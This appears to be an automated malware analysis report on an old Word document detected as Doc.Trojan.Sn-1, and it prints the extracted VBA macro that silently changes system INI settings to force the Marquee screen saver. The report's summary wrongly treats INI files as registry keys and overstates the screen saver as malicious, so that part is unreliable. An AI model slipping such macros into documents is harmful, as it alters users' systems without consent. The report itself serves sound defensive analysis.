Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f59244d748c92520…

MALICIOUS

Office (OLE)

36.0 KB Created: 1999-04-29 06:55:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bfb288fa2070546cc74956ffe2393a52 SHA-1: 1153c9efd349c46a2fda6f3272444026c960807b SHA-256: f59244d748c92520ee130d3f32c8b30ca05601d1089025fd923f263c37038419
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro within the document attempts to modify system configuration files and registry keys. Specifically, it writes to 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\System.ini' to set 'SCRNSAVE.EXE' to 'C:\WIN95\System\Marquee.scr', and modifies 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control.ini' to configure the 'Marquee' screen saver. It also sets 'ScreenSaveActive' to 1 in 'HKEY_USERS\.Default\Control Panel\desktop', indicating an attempt to enable the screen saver. This suggests the malware aims to replace the legitimate screen saver with a malicious one named 'Marquee.scr'.

Heuristics 2

  • ClamAV: Doc.Trojan.Sn-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sn-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1114 bytes
SHA-256: dda4e517f5b3478f897a70a4850d8108dafcf7ae44e666082c45cbb3e7d0320e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ScreenNuker"
Sub ScreenNuker()
WinPath = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion", "SystemRoot")
WinSysPath = WinPath & "\System"
System.PrivateProfileString(WinPath & "\System.ini", "boot", "SCRNSAVE.EXE") = WinSysPath & "\Marquee.scr"
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Text") = Application.ActivePrinter
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Font") = "Times New Roman"
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Size") = 190
System.PrivateProfileString(WinPath & "\Control.ini", "Screen Saver.Marquee", "Speed") = 200
System.PrivateProfileString("", "HKEY_USERS\.Default\Control Panel\desktop", "ScreenSaveActive") = 1
End Sub

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